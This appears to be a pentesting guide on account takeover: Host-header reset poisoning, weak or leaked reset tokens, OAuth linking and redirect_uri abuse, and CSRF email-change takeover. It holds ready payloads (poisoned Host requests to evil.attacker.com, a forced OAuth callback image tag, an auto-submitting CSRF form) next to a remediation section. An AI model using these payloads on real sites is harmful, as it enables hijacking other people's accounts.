Account Takeover Techniques: Reset Poisoning, Token Leakage, OAuth Chaining, and CSRF
Account takeover (ATO) is the highest-impact authentication finding you can submit. It collapses the entire trust model of an application into a single victim's session, and unlike a one-off IDOR it usually generalizes: if the password reset flow can be poisoned for one user, it can be poisoned for all of them. That is why triage teams routinely pay ATO as critical even when the underlying primitive — a stray Host header, a token in a redirect URL, a missing state parameter — looks individually mundane.
This guide walks through the techniques that actually land in modern engagements: password reset poisoning, reset token leakage, OAuth account-linking abuse, and CSRF-driven takeover. Everything here assumes you are testing systems you are authorized to test. The mechanics are deliberately concrete so you can reproduce them in a lab or a scoped bug bounty program, then write a remediation section your client can act on.
The Account Takeover Attack Surface
Before touching a single exploit, map every flow that can change who controls an account. ATO rarely lives in the login form itself — login is well-trodden ground. It hides in the surrounding identity plumbing:
- Password reset — token generation, delivery, validation, and consumption.
- Email/phone change — does it re-verify the old factor, or just trust the session?
- OAuth / social login — how are external identities linked to local accounts?
- Session and token lifecycle — invalidation on password change, token entropy, storage.
- Multi-factor enrollment — can an attacker register their own second factor mid-takeover?
For each, ask one question: what does the server treat as proof of identity, and can I supply or influence it from outside the trust boundary? Most ATO bugs are a server trusting attacker-controlled input as if it were authenticated state. Capture the raw requests for these flows with the HTTP Request Parser so you can see exactly which parameters, cookies, and headers reach the server before you start tampering.
Password Reset Poisoning via the Host Header
Many applications build the password reset link by reading the incoming request's Host header (or X-Forwarded-Host) and concatenating it with the token. The intent is "generate a link back to ourselves," but the Host header is attacker-controlled. If the value flows unsanitized into the email body, the victim receives a real, valid token pointed at your domain.
POST /api/password-reset HTTP/1.1
Host: evil.attacker.com
Content-Type: application/x-www-form-urlencoded
[email protected]
When the victim clicks the resulting link — https://evil.attacker.com/reset?token=… — their browser sends the secret token to your server. You replay it against the real host and seize the account. Variations that bypass naive validation:
# Override headers that proxies and frameworks honor
X-Forwarded-Host: evil.attacker.com
X-Host: evil.attacker.com
# Dual Host header (some stacks read the second)
Host: target.com
Host: evil.attacker.com
# Host with embedded port or path tricks
Host: target.com:@evil.attacker.com
If the application validates the host but still reflects attacker input into the link's path or query, you may be able to leak the token via the Referer header instead: get the reset page to load a resource from your domain, and the token sitting in the URL leaks in the outbound Referer. This is the same leakage class that haunts CSRF tokens in URLs.
Reset Token Weaknesses and Leakage
When you can't poison the link, attack the token itself. The failure modes cluster into three buckets:
Predictable or low-entropy tokens
Request several reset tokens for accounts you control and compare them. Sequential integers, timestamps, or short numeric PINs are brute-forceable. A 4–6 digit reset code with no rate limiting is effectively a free account takeover — enumerate the code space against the victim's reset request. Decode any structured token (base64, JWT, hex) to inspect its internals before assuming it's random.
# Compare tokens from back-to-back requests
token_1: 1718745601-1042
token_2: 1718745603-1043 # timestamp + incrementing user counter — predictable
Tokens that don't expire or invalidate
Test whether an old token still works after a new one is issued, after login, or after the password is changed. Reset tokens should be single-use and short-lived. A token valid for days, or one that survives the very password change it authorized, lets an attacker who once saw it return later.
Token leakage through third parties
If the token rides in a URL, it leaks into analytics scripts, CDN access logs, browser history, and the Referer header of any third-party resource the reset page loads. Watch the network panel on the reset confirmation page — any outbound request to a domain you don't control is a leak vector. When inspecting JWT-based reset tokens for weak signing or an alg:none acceptance bug, the JWT Decoder & Builder will decode the claims and let you forge test variants.
OAuth Account Linking and Chaining
OAuth introduces a second identity provider into the trust model, and the seams between "log in with Google" and the local account are fertile ground for takeover. Three recurring patterns:
Pre-account-takeover via email trust
An attacker registers a local account using the victim's email, but the email is never verified. Later the victim signs up via an OAuth provider that does verify the email; if the application auto-links the OAuth identity to the existing unverified local account, the attacker — who already knows the local password — now shares an account with the victim. The inverse also works: register first via OAuth, wait for the victim to set a local password on "their" account.
Missing or static state parameter (OAuth CSRF)
The state parameter binds the authorization response to the user's session. If it's absent, predictable, or never checked, you can perform a login CSRF: complete the OAuth dance with your provider account, capture the authorization code, and feed it into the victim's session via a forged callback. The victim ends up logged into your account — and any data they enter (payment methods, documents) lands in an account you control.
<!-- Force the victim's browser to complete OAuth into the attacker's identity -->
<img src="https://target.com/oauth/callback?code=ATTACKER_AUTH_CODE">
redirect_uri manipulation for code theft
If the authorization server validates redirect_uri loosely — prefix matching, allowing subdomains, or accepting open-redirect endpoints on the legitimate domain — you can redirect the authorization code to an endpoint you control:
https://provider.com/authorize?client_id=APP
&redirect_uri=https://target.com/callback/../../redirect?url=https://evil.com
&response_type=code&state=…
The leaked code is then exchanged for the victim's tokens. Work through these systematically with the OAuth / OIDC Attack Wizard, which generates the malformed authorization requests and callback payloads for each class. For the full deep dive on flow-specific bugs, see the OAuth Vulnerabilities guide.
CSRF-Driven Takeover
CSRF becomes account takeover the moment a state-changing flow controls account ownership and lacks anti-CSRF protection. The two canonical targets are the email-change and password-change endpoints.
If changing the account email does not require the current password or a CSRF token, a single auto-submitting form turns a victim's visit into a takeover: change their email to yours, then trigger a password reset to your inbox.
<form id="ato" action="https://target.com/account/email" method="POST">
<input type="hidden" name="email" value="[email protected]">
</form>
<script>document.getElementById('ato').submit();</script>
Password-change endpoints that accept a new password without the old one are even more direct. Always test whether SameSite cookies, token validation, or Referer checks can be bypassed — GET-based state changes and token-removal tricks frequently defeat half-implemented defenses. The CSRF bypass guide covers those evasions in depth. Chained with an OAuth login CSRF or a reset-poisoning primitive, even a "low" CSRF finding escalates straight to critical.
Building the Exploit Chain
Real ATO reports are usually a chain, not a single bug. A typical narrative: an unverified-email registration plants a local account; an OAuth auto-link bug attaches the victim's verified identity; a missing state parameter lets you trigger the link from the victim's browser. None of those is critical alone — together they are full takeover. Document each link with the request/response pairs and a clear "expected vs. actual" so triage can reproduce it cold. When you write the timeline, show the attacker's view and the victim's view side by side so the impact is unambiguous.
Remediation and Defenses
For defenders, every technique above maps to a concrete control:
- Never trust the
Hostheader for link generation. Build reset and verification URLs from a server-side allowlist of canonical hostnames; ignoreX-Forwarded-Hostunless it comes from a trusted proxy you control. - Generate tokens with a CSPRNG — at least 128 bits of entropy, single-use, short TTL (15–60 minutes), and invalidated immediately on use, on password change, and on a new token being issued.
- Keep secrets out of URLs. Deliver reset tokens in the path only when necessary, set
Referrer-Policy: no-referreron reset pages, and never load third-party scripts there. - Verify email ownership before linking any OAuth identity to a local account, and require the local password (or a fresh re-auth) when linking. Treat unverified local accounts as untrusted.
- Enforce
stateand PKCE on every OAuth flow, and validateredirect_uriwith exact string matching against a registered allowlist — no prefix or subdomain wildcards. - Protect every state-changing endpoint with anti-CSRF tokens and
SameSitecookies, and require the current password to change the email, password, or MFA settings. - Invalidate all sessions on password reset or email change, and notify the user out-of-band when either occurs.
- Rate-limit reset requests and token submission to kill brute force against short codes.
The unifying principle is the same one you exploit on offense: the server must only treat as proof of identity something the legitimate user — and no one else — can produce. For a structured walkthrough of testing the broader auth surface, pair this with the broken authentication testing guide, and confirm your remediations hold by re-running the same chains in a staging environment before sign-off.
Put this into practice
Generate and test these payloads interactively — free, in your browser.
Level up your security testing
Install the CLI
npx payload-playgroundExplore All Tools
Encoding, hashing, JWT & more
Browse Cheat Sheets
Quick-reference payload guides